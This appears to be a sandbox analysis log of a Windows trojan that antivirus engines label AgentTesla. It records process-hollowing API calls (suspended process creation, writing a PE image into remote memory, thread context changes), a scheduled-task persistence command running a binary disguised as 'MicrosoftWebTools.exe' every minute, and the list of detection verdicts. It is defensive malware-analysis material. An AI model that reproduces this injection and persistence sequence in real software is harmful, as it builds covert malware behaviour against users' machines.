 buffer: MZÿÿ¸@€º´ Í!¸LÍ!This program cannot be run in DOS mode. $PELó×aà"  .3 @ €@…à2K@8`  H.text4  `.rsrc8@@@.reloc `.@B
base_address: 0x00400000
process_identifier: 1036
process_handle: 0x00000270
1 1 0

WriteProcessMemory

 buffer: 0 03
base_address: 0x00416000
process_identifier: 1036
process_handle: 0x00000270
1 1 0

WriteProcessMemory

 buffer: @
base_address: 0x7efde008
process_identifier: 1036
process_handle: 0x00000270
1 1 0
Time & API Arguments Status Return Repeated

WriteProcessMemory

 buffer: MZÿÿ¸@€º´ Í!¸LÍ!This program cannot be run in DOS mode. $PELó×aà"  .3 @ €@…à2K@8`  H.text4  `.rsrc8@@@.reloc `.@B
base_address: 0x00400000
process_identifier: 2180
process_handle: 0x00000270
1 1 0

WriteProcessMemory

 buffer: MZÿÿ¸@€º´ Í!¸LÍ!This program cannot be run in DOS mode. $PELó×aà"  .3 @ €@…à2K@8`  H.text4  `.rsrc8@@@.reloc `.@B
base_address: 0x00400000
process_identifier: 1036
process_handle: 0x00000270
1 1 0
Process injection Process 1188 called NtSetContextThread to modify thread in remote process 2180
Process injection Process 2524 called NtSetContextThread to modify thread in remote process 1036
Time & API Arguments Status Return Repeated

NtSetContextThread

 registers.eip: 0
registers.esp: 0
registers.edi: 0
registers.eax: 4272942
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x0000026c
process_identifier: 2180
1 0 0

NtSetContextThread

 registers.eip: 0
registers.esp: 0
registers.edi: 0
registers.eax: 4272942
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x0000026c
process_identifier: 1036
1 0 0
Time & API Arguments Status Return Repeated

CryptHashData

 buffer: 2test22TEST22-PCMicrosoft Windows NT 6.1.7601 Service Pack 134252779520
hash_handle: 0x00321228
flags: 0
1 1 0

CryptHashData

 buffer: 2test22TEST22-PCMicrosoft Windows NT 6.1.7601 Service Pack 134252779520
hash_handle: 0x00473398
flags: 0
1 1 0

CryptHashData

 buffer: 2test22TEST22-PCMicrosoft Windows NT 6.1.7601 Service Pack 134252779520
hash_handle: 0x00473398
flags: 0
1 1 0
Process injection Process 1188 resumed a thread in remote process 2180
Process injection Process 2524 resumed a thread in remote process 1036
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x0000026c
suspend_count: 1
process_identifier: 2180
1 0 0

NtResumeThread

 thread_handle: 0x0000026c
suspend_count: 1
process_identifier: 1036
1 0 0
Elastic malicious (high confidence)
MicroWorld-eScan Trojan.GenericKDZ.77180
FireEye Generic.mg.a055c5bf6726eaf3
McAfee AgentTesla-FCTJ!A055C5BF6726
Cyren W32/MSIL_Kryptik.DLO.gen!Eldorado
Symantec Scr.Malcode!gdn30
ESET-NOD32 a variant of MSIL/Kryptik.ACME
Kaspersky HEUR:Trojan.MSIL.Taskun.gen
BitDefender Trojan.GenericKDZ.77180
Avast Win32:RATX-gen [Trj]
Ad-Aware Trojan.GenericKDZ.77180
Emsisoft Trojan.Crypt (A)
DrWeb Trojan.PackedNET.999
McAfee-GW-Edition AgentTesla-FCTJ!A055C5BF6726
Sophos Troj/Krypt-AR
APEX Malicious
MAX malware (ai score=80)
Microsoft Trojan:Win32/AgentTesla!ml
GData Trojan.GenericKDZ.77180
Cynet Malicious (score: 100)
AhnLab-V3 Backdoor/Win.NanoBot.R437754
VBA32 Malware-Cryptor.MSIL.AgentTesla.Heur
ALYac Gen:Variant.MSILHeracles.24444
Malwarebytes Trojan.MalPack
SentinelOne Static AI - Suspicious PE
MaxSecure Trojan.Malware.300983.susgen
Fortinet MSIL/GenKryptik.FIXI!tr
AVG Win32:RATX-gen [Trj]
Qihoo-360 HEUR/QVM03.0.5FDF.Malware.Gen
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x000000dc
suspend_count: 1
process_identifier: 1188
1 0 0

NtResumeThread

 thread_handle: 0x00000150
suspend_count: 1
process_identifier: 1188
1 0 0

NtResumeThread

 thread_handle: 0x0000018c
suspend_count: 1
process_identifier: 1188
1 0 0

NtResumeThread

 thread_handle: 0x00000264
suspend_count: 1
process_identifier: 1188
1 0 0

NtGetContextThread

 thread_handle: 0x000000e0
1 0 0

NtGetContextThread

 thread_handle: 0x000000e0
1 0 0

NtResumeThread

 thread_handle: 0x000000e0
suspend_count: 1
process_identifier: 1188
1 0 0

NtGetContextThread

 thread_handle: 0x000000e0
1 0 0

NtGetContextThread

 thread_handle: 0x000000e0
1 0 0

NtResumeThread

 thread_handle: 0x000000e0
suspend_count: 1
process_identifier: 1188
1 0 0

CreateProcessInternalW

 thread_identifier: 3004
thread_handle: 0x0000026c
process_identifier: 2180
current_directory:
filepath: C:\Users\test22\AppData\Local\Temp\Bzboosttt.exe
track: 1
command_line:
filepath_r: C:\Users\test22\AppData\Local\Temp\Bzboosttt.exe
stack_pivoted: 0
creation_flags: 134217732 (CREATE_NO_WINDOW|CREATE_SUSPENDED)
inherit_handles: 0
process_handle: 0x00000270
1 1 0

NtGetContextThread

 thread_handle: 0x0000026c
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2180
region_size: 98304
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000270
1 0 0

WriteProcessMemory

 buffer: MZÿÿ¸@€º´ Í!¸LÍ!This program cannot be run in DOS mode. $PELó×aà"  .3 @ €@…à2K@8`  H.text4  `.rsrc8@@@.reloc `.@B
base_address: 0x00400000
process_identifier: 2180
process_handle: 0x00000270
1 1 0

WriteProcessMemory

 buffer:
base_address: 0x00402000
process_identifier: 2180
process_handle: 0x00000270
1 1 0

WriteProcessMemory

 buffer:
base_address: 0x00414000
process_identifier: 2180
process_handle: 0x00000270
1 1 0

WriteProcessMemory

 buffer: 0 03
base_address: 0x00416000
process_identifier: 2180
process_handle: 0x00000270
1 1 0

WriteProcessMemory

 buffer: @
base_address: 0x7efde008
process_identifier: 2180
process_handle: 0x00000270
1 1 0

NtSetContextThread

 registers.eip: 0
registers.esp: 0
registers.edi: 0
registers.eax: 4272942
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x0000026c
process_identifier: 2180
1 0 0

NtResumeThread

 thread_handle: 0x0000026c
suspend_count: 1
process_identifier: 2180
1 0 0

NtResumeThread

 thread_handle: 0x000000dc
suspend_count: 1
process_identifier: 2180
1 0 0

NtResumeThread

 thread_handle: 0x00000150
suspend_count: 1
process_identifier: 2180
1 0 0

NtResumeThread

 thread_handle: 0x00000190
suspend_count: 1
process_identifier: 2180
1 0 0

CreateProcessInternalW

 thread_identifier: 1888
thread_handle: 0x0000042c
process_identifier: 2524
current_directory: C:\Users\test22\AppData\Local\Temp
filepath: C:\Users\test22\AppData\Local\Microsoft Web Tools ver4.49\MicrosoftWebTools.exe
track: 1
command_line: "C:\Users\test22\AppData\Local\Microsoft Web Tools ver4.49\MicrosoftWebTools.exe"
filepath_r: C:\Users\test22\AppData\Local\Microsoft Web Tools ver4.49\MicrosoftWebTools.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x00000434
1 1 0

NtResumeThread

 thread_handle: 0x000000dc
suspend_count: 1
process_identifier: 2524
1 0 0

NtResumeThread

 thread_handle: 0x00000150
suspend_count: 1
process_identifier: 2524
1 0 0

NtResumeThread

 thread_handle: 0x00000198
suspend_count: 1
process_identifier: 2524
1 0 0

NtResumeThread

 thread_handle: 0x00000264
suspend_count: 1
process_identifier: 2524
1 0 0

NtGetContextThread

 thread_handle: 0x000000e0
1 0 0

NtGetContextThread

 thread_handle: 0x000000e0
1 0 0

NtResumeThread

 thread_handle: 0x000000e0
suspend_count: 1
process_identifier: 2524
1 0 0

CreateProcessInternalW

 thread_identifier: 2736
thread_handle: 0x0000026c
process_identifier: 1036
current_directory:
filepath: C:\Users\test22\AppData\Local\Microsoft Web Tools ver4.49\MicrosoftWebTools.exe
track: 1
command_line:
filepath_r: C:\Users\test22\AppData\Local\Microsoft Web Tools ver4.49\MicrosoftWebTools.exe
stack_pivoted: 0
creation_flags: 134217732 (CREATE_NO_WINDOW|CREATE_SUSPENDED)
inherit_handles: 0
process_handle: 0x00000270
1 1 0

NtGetContextThread

 thread_handle: 0x0000026c
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1036
region_size: 98304
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000270
1 0 0

WriteProcessMemory

 buffer: MZÿÿ¸@€º´ Í!¸LÍ!This program cannot be run in DOS mode. $PELó×aà"  .3 @ €@…à2K@8`  H.text4  `.rsrc8@@@.reloc `.@B
base_address: 0x00400000
process_identifier: 1036
process_handle: 0x00000270
1 1 0

WriteProcessMemory

 buffer:
base_address: 0x00402000
process_identifier: 1036
process_handle: 0x00000270
1 1 0

WriteProcessMemory

 buffer:
base_address: 0x00414000
process_identifier: 1036
process_handle: 0x00000270
1 1 0

WriteProcessMemory

 buffer: 0 03
base_address: 0x00416000
process_identifier: 1036
process_handle: 0x00000270
1 1 0

WriteProcessMemory

 buffer: @
base_address: 0x7efde008
process_identifier: 1036
process_handle: 0x00000270
1 1 0

NtSetContextThread

 registers.eip: 0
registers.esp: 0
registers.edi: 0
registers.eax: 4272942
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x0000026c
process_identifier: 1036
1 0 0

NtResumeThread

 thread_handle: 0x0000026c
suspend_count: 1
process_identifier: 1036
1 0 0

NtResumeThread

 thread_handle: 0x000000dc
suspend_count: 1
process_identifier: 1036
1 0 0

NtResumeThread

 thread_handle: 0x00000154
suspend_count: 1
process_identifier: 1036
1 0 0

NtResumeThread

 thread_handle: 0x0000019c
suspend_count: 1
process_identifier: 1036
1 0 0

CreateProcessInternalW

 thread_identifier: 3024
thread_handle: 0x00000360
process_identifier: 2964
current_directory: C:\Users\test22\AppData\Local\Temp
filepath: C:\Windows\System32\schtasks.exe
track: 1
command_line: "C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 1 /tn "WindowsPowerShell ver5.60" /tr "'C:\Users\test22\AppData\Local\Microsoft Web Tools ver4.49\MicrosoftWebTools.exe"'/f
filepath_r: C:\Windows\System32\schtasks.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x00000368
1 1 0

NtResumeThread

 thread_handle: 0x00000370
suspend_count: 1
process_identifier: 1036
1 0 0

NtResumeThread

 thread_handle: 0x000003c0
suspend_count: 1
process_identifier: 1036
1 0 0

NtResumeThread

 thread_handle: 0x0000042c
suspend_count: 1
process_identifier: 1036
1 0 0

NtResumeThread

 thread_handle: 0x0000044c
suspend_count: 1
process_identifier: 1036
1 0 0

NtResumeThread

 thread_handle: 0x00000580
suspend_count: 1
process_identifier: 1036
1 0 0